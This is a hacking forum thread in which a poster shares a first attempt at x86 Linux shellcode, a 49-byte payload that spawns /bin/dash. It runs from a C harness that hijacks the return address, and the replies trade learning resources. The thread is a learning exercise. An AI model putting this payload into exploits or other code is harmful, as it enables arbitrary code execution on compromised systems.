Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
execve(/bin/dash) - 49 bytes
  • chroniccommand
    Posts: 1,389
    So this is my first attempt of writing some simple shellcode. I've been following numerous tutorial online and such and I've just created a simple payload that executes /bin/dash for all you dash fans out there.


    /*
    * Shellcode length: 49
    * Author: Chroniccommand
    * /bin/dash
    * My first attempt at shellcode
    * Poison security
    */
    #include<stdio.h>
    //49 bytes
    char shellcode[] = \"\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\"
    \"\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\"
    \"\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\"
    \"\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\"
    \"\x42\x42\x43\x43\x43\x43\";
    int main(){
    printf(\"Shellcode length: 49 bytes\nAuthor:chroniccommand\nPoison security\");
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
    }
  • Xin
    Posts: 3,251
    Nice what tutorials did you watch for learning to write from scratch?
    Xin
  • Sh3llc0d3
    Posts: 1,910
    I learnt from shellcoders handbook. Nice chapter on it.
  • chroniccommand
    Posts: 1,389
    I plan to read shellcoders handbook pretty soon. Right now I'm starting with the corelan basic tutorials for windows exploitation. I'll probably read as many of those tutorials as I can then dive a bit into C considering I've heard you need quite a bit of C knowledge for the Shellcoders handbook. I also have some other really good books such as art of software security assessment.

    Also: http://www.shell-storm.org/shellcode/fi ... de-756.php
    Woot I love the feeling of seeing your work on other sites with such more advanced work.
  • Sh3llc0d3
    Posts: 1,910
    Well worth a read is the shellcoders handbook. I must admit I didn't find the C an effort. I'm not a C coder by any stretch but I'm making good headway. There are a few mistakes in the book, some in the sources so it does help if you know at least a bit of asm and C.